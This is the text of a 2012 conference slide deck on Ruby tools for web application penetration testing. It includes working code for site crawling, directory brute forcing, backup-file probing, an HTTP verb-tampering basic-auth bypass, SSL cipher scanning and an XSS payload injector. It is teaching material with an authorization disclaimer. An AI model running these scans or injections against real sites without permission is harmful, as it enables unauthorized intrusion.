The document discusses various techniques for penetration testing and attacking web applications using Ruby tools and libraries. It provides examples of using tools like Anemone for crawling sites, Casper for observing browser requests, Enchant for directory brute forcing, and Ciphersurfer for evaluating SSL configurations. The document encourages attackers to change their mindset and look for vulnerabilities from the perspective of an attacker rather than a developer.

1. picks and gems:
ruby for
penetration
@thesp0nge

2. self.inspect
https://github.com/thesp0nge
@thesp0nge
http://armoredcode.com

3. Why ruby?
• API
• networking
• string manipulation
• Net::HTTP
• Coolness
3

4. Disclaimer
Attack only sites you’re authorized to
4

5. What to test?
class Developer class Developer
# a bunch of great include
# methods here Person::Attacker
end # a plenty of great
# methods here
end
Change your mindset.
You’re an attacker
now!
5

6. What to test?
Your app is a
black box
You must
class Developer gather
informations
include
about it
Person::Attacker
# a plenty of great You don’t have
# methods here credentials
end
Ooh look... a
web form...
RubyDay IT, Milan, 15 June
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2012

7. Leverage your attack surface
“It’s my web application. I don’t even promote it. I have all the
informations about it, what are you talking about?”
Deep knowledge of
the underlying
technology
Spot attack
entrypoints
Check transport
layer security
Check for the
service door
RubyDay IT, Milan, 15 June
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2012

8. Leverage your attack surface
robots.t to discover
xt
to fingerprint
RubyDay IT, Milan, 15 June
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2012

9. Leverage your attack surface
$ gem install links
$ links -r http://www.yourtarget.com
# TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001)
def self.robots(site, only_disallow=true)
if (! site.start_with? 'http://') and (! site.start_with? 'https://')
site = 'http://'+site
end
list = []
begin
res=Net::HTTP.get_response(URI(site+'/robots.txt'))
if (res.code != "200")
return []
end
“Just a bunch of ruby loc res.body.split("n").each do |line|
away...” if only_disallow
if (line.downcase.start_with?('disallow'))
list << line.split(":")[1].strip.chomp
end
else
if (line.downcase.start_with?('allow') or line.downcase.start_with?('disallow'))
list << line.split(":")[1].strip.chomp
end
end
end
rescue
return []
end
list
end RubyDay IT, Milan, 15 June
9
2012

10. Demo
10

11. • Search engines crawl your
site they are polite, you
can ask not to do it
• Attackers crawl your site...
they are not polite.
$ gem install anemone
require 'anemone'
Anemone.crawl("http://www.target.com/") do |anemone|
anemone.on_every_page do |page|
puts page.url
end
end
11 event name

12. Demo
12

13. Build a transparent
Sometimes you need to observe the requests
your browser makes while using a website...
async calls are so sweets...
$ gem install casper
Useful to check
$ casper javascripts or urls called
on going... while manual
browsing your target site
RubyDay IT, Milan, 15 June
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2012

14. Build a transparent
module Casper
class Proxy < WEBrick::HTTPProxyServer
attr_reader :req_count
attr_reader :hosts
Extending
def initialize(config={})
@req_count = 0
@hosts=[]
WEBRick config[:Port] ||= 8080
config[:AccessLog] = []
config[:ProxyContentHandler] = Proc.new do |req, res|
log_requests(req, res)
end
super(config)
end
private
def log_requests(req, res)
$stdout.puts "[#{Time.now}] #{req.request_line.chomp}n"
if @hosts.index(req.host).nil?
@hosts << req.host
end Make the
business
inc_req_count
end
def inc_req_count
@req_count += 1
end
RubyDay IT, Milan, 15 June
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2012

15. Demo
15

16. enchant: brute force discovery
Very intrusive attack...
discover web directories
using brute force. You’ll be
busted
$ gem install enchant
$ enchant http://www.yourtarget.com
RubyDay IT, Milan, 15 June
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2012

17. Demo
17

18. Web Application fingerpring
Web servers answer to the
same HTTP request in
different way.
GET / HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT HTTP/1.1 200 OK
Server: Apache/1.3.23 Server: Microsoft-IIS/5.0
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT Content-Location: http://iis.example.com/Default.htm
ETag: 32417-c4-3e5d8a83 Date: Fri, 01 Jan 1999 20:13: 52 GMT
Accept-Ranges: bytes Content-Type: text/HTML
Content-Length: 196 Accept-Ranges: bytes
Connection: close Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
http://code.google.com/p/
webapplicationfingerprinter/
RubyDay IT, Milan, 15 June
18
2012

19. SSL Testing
Evaluate an SSL connection
for:
• protocols the server supports
• cipher length
• certificate key length
$ gem install ciphersurfer
$ ciphersurfer www.gmail.com
Evaluating secure communication with www.gmail.com:443
Overall evaluation : B (76.5)
Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55)
Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80)
Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90)
RubyDay IT, Milan, 15 June
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2012

20. SSL Testing
protocol_version.each do |version|
s =
Ciphersurfer::Scanner.new({:host=>host,
:port=>port, :proto=>version})
s.go
if (s.ok_ciphers.size != 0)
supported_protocols << version
cipher_bits = cipher_bits | s.ok_bits
def go
ciphers = ciphers | s.ok_ciphers
context=OpenSSL::SSL::SSLContext.new(@proto)
end cipher_set = context.ciphers
cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
end
request = Net::HTTP.new(@host, @port)
request.use_ssl = true
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
request.ciphers= cipher_name
begin
response = request.get("/")
@ok_bits << bits
@ok_ciphers << cipher_name
rescue OpenSSL::SSL::SSLError => e
# Quietly discard SSLErrors, really I don't care if the cipher has
# not been accepted
rescue
# Quietly discard all other errors... you must perform all error
# chekcs in the calling program
end
end
end
RubyDay IT, Milan, 15 June
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2012

21. Demo
21

22. Check for backup
Crawl the web site and
append file extension to
your GETs
require 'anemone'
require 'httpclient'
h=HTTPClient.new()
Anemone.crawl(ARGV[0]) do |anemone|
anemone.on_every_page do |page|
response = h.get(page.url)
puts "Original: #{page.url}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat(".bak"))
puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat(".old"))
puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat("~"))
puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}"
end
end
RubyDay IT, Milan, 15 June
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2012

23. Demo
23

24. Bypass
A case study for a PHP 5.3 application using
basic auth: with a tampered HTTP verb you can
access to protected urls
require 'net/http'
Create a custom HTTP class Dammi < Net::HTTPRequest
METHOD="DAMMI"
verb REQUEST_HAS_BODY = false
RESPONSE_HAS_BODY = true
end
http=Net::HTTP.new('www.mytarget.nonexistent', 80)
r_a = http.request(Dammi.new("/backend/index.php")) Make the request
puts r_a.body
RubyDay IT, Milan, 15 June
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2012

25. Cross site scripting
Executing arbitrary javascript code at client
site by submitting a crafted parameter on a
web form
RubyDay IT, Milan, 15 June
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2012

26. Cross site scripting
$ gem install cross
$ cross http://www.yourtarget.com
module Cross
# Engine is the cross class using Mechanize to inject canary and check for
# output
class Engine
include Singleton
attr_reader :agent
# Starts the engine
def start
@agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
@agent.user_agent_alias = 'Mac Safari'
end
def inject(url)
found = false
page = @agent.get(url)
page.forms.each do |f|
f.fields.each do |ff|
ff.value = "<script>alert('cross canary');</script>"
end
pp = @agent.submit(f)
scripts = pp.search("//script")
scripts.each do |sc|
if sc.children.text == "alert('cross canary');"
found = true
end
end
end
found
end
end
end
RubyDay IT, Milan, 15 June
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2012

27. Cross site scripting
#!/usr/bin/env ruby
$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib'))
require 'mechanize'
require 'ap'
require 'logger'
require 'cross'
host = Cross::Host.new(ARGV[0])
ap "cross " + Cross::Version.version[:string] + " (C) 2011 - thesp0nge"
ap "target: " + host.host
engine = Cross::Engine.instance
engine.start
if engine.inject(ARGV[0])
ap "Canary found in output page. Suspected XSS"
end
It doesn’t work with iframe
apps :-(
RubyDay IT, Milan, 15 June
27
2012

28. Demo
28

29. What we learnt
• Don’t trust your users
• “Security through obscurity” is EVIL
• Testing for security issues is a
mandatory step before deploy
• HTTPS won’t safe from XSS or SQL
Injections
29

30. Some links before we
http://armoredcode.com/blog/categories/pentest-
with-ruby/
https://gist.github.com/2935464 for anemone crawling demo)
(gist
https://github.com/thesp0nge/links
https://github.com/thesp0nge/
ciphersurfer
https://github.com/thesp0nge/enchant
https://github.com/thesp0nge/cross
http://www.owasp.org
http://ronin-ruby.github.com/
https://github.com/rapid7/metasploit-framework
RubyDay IT, Milan, 15 June
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2012

31. Questions?
31 event name

32. Thank you!
32 event name